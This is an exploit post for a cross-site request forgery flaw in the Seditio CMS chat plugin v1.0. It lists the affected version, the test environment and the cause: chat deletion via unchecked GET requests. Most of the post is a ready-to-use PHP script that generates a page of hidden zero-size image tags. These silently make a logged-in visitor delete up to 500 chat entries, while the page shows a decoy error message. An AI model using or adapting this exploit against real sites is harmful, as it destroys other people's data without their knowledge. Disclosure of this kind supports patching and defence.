=========================================================
Vulnerable Software: Seditio Chat Plugin (Chat ?ndex Plugin) v 1.0
https://seditio.com.tr/eski1/page.php?id=418
https://seditio.com.tr/eski1/chat-plugin-index-d418.html
Downloaded: https://seditio.com.tr/eski1/datas/users/1-chat.rar
(MD5 SUM: d1565b438199984661cf2147572724a6 *1-chat.rar)
=========================================================
Tested:
With Seditio v165
*php.ini MAGIC_QUOTES_GPC OFF*
Safe mode off
/*
OS: Windows XP SP2 (32 bit)
Apache: 2.2.21.0
PHP Version: 5.2.17.17
mysql> select version()
    -> ;
+-----------+
| version() |
+-----------+
| 5.5.21    |
+-----------+
*/
=========================================================
About Software:
Seditio Chat Plugin (Chat ?ndex Plugin) v 1.0 is popular plugin for Seditio CMS.
It gives ability to users~administrators~moderators to chatting.
=========================================================
Vuln Desc:
This plugin is prone to CROSS SITE REQUEST FORGERY vulnerability.
It uses $_GET without any proper check of request validity when deleting entries from chat.
It can be used by malicious people for delete chat entries.
================ Seditio chat plugin Delete chat entries CSRF exploit =================
<?php
/*
4 Fun
Seditio chat plugin Delete chat entries CSRF exploit (Sounds peacifull xD)
*/
$target='http://192.168.0.15/learn/128/sed/seditio165/'; // target site
$howmuch=500;// how much entries to "rm" in chat? :)


/* Do not change */

$body=str_repeat(PHP_EOL,300);
$howmuch=(int)$howmuch;
$sithere=strrev('OoPs! Can not Load Page.WTH? What about Refresh ?');// 4 think about :D.While we deleting chat entries:D
for($i=0;$i<=$howmuch;$i++)
{
$body.='<img src="'. $target .  '/plug.php?e=chat&c=delete&id=' . $i . '" width="0" height="0" /><br>' .PHP_EOL;
}
die($body . '<h1>' . $sithere . '</h1>');
/* EOF */
?>
==============================EOF================================